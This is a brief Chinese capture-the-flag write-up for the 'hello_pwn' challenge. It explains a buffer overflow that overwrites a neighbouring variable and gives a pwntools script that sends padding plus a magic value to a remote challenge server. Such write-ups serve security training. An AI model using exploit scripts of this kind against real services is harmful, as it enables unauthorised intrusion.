攻防世界 | hello_pwn

 看样子是要让我们通过read(0, &unk_601068, 0x10uLL)，读入 unk_601068 将 dword_60106C 覆盖

 6c-68=4,所以：

from pwn import *
io = remote("111.198.29.45",45604)
io.recvline()
payload = "A"*4
payload += p64(1853186401)
io.sendline(payload)
io.interactive()

 

来源：https://www.cnblogs.com/chrysanthemum/p/11764423.html